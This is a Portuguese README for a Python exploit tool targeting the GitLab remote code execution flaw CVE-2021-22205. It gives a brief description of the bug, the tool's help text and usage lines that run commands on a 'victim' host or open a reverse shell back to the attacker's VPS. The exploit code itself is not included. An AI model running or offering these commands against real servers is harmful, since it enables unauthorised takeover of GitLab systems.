
Script de exploit em Python para CVE-2021-22205 (GitLab RCE) com execução de comandos e capacidades de shell reverso. Suporta getshell com um clique para testes de penetração.
Devido ao GitLab não validar corretamente os arquivos de imagem passados para o analisador de arquivos, resulta em execução de comandos. Um atacante pode construir requisições maliciosas para explorar esta vulnerabilidade e executar comandos arbitrários no sistema alvo, levando ao controle do servidor GitLab. Como a maioria dos scripts na internet não possui funcionalidade de reverse shell, modifiquei o script disponível online para adicionar a funcionalidade de um clique para obter shell.
______ _______ ____ ___ ____ _ ____ ____ ____ ___ ____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \|___ \|___ \ / _ \| ___|
| | \ \ / /| _| _____ __) | | | |__) | |_____ __) | __) | __) | | | |___ \
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/ / __/ / __/| |_| |___) |
\____ | \_/ |_____| |_____|\___/_____|_| |_____|_____|_____|\___/|____/
usage: CVE-2021-22205.py [-h] [-t TARGET] [-c COMMAND] [--shell] [-i IP]
[-p PORT]
GitLab < 13.10.3 RCE
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
URL alvo
-c COMMAND, --command COMMAND
Comando a executar
--shell Obter reverse shell
-i IP, --ip IP IP do reverse shell
-p PORT, --port PORT Porta do reverse shell
python3 CVE-2021-22205.py -t [IP da vítima] --shell -i [IP do VPS] -p [porta do VPS] // obter reverse shell
python3 CVE-2021-22205.py -t [IP da vítima] -c [comando] // executar comando
Este script destina-se apenas para uso em testes, não o utilize para outros fins.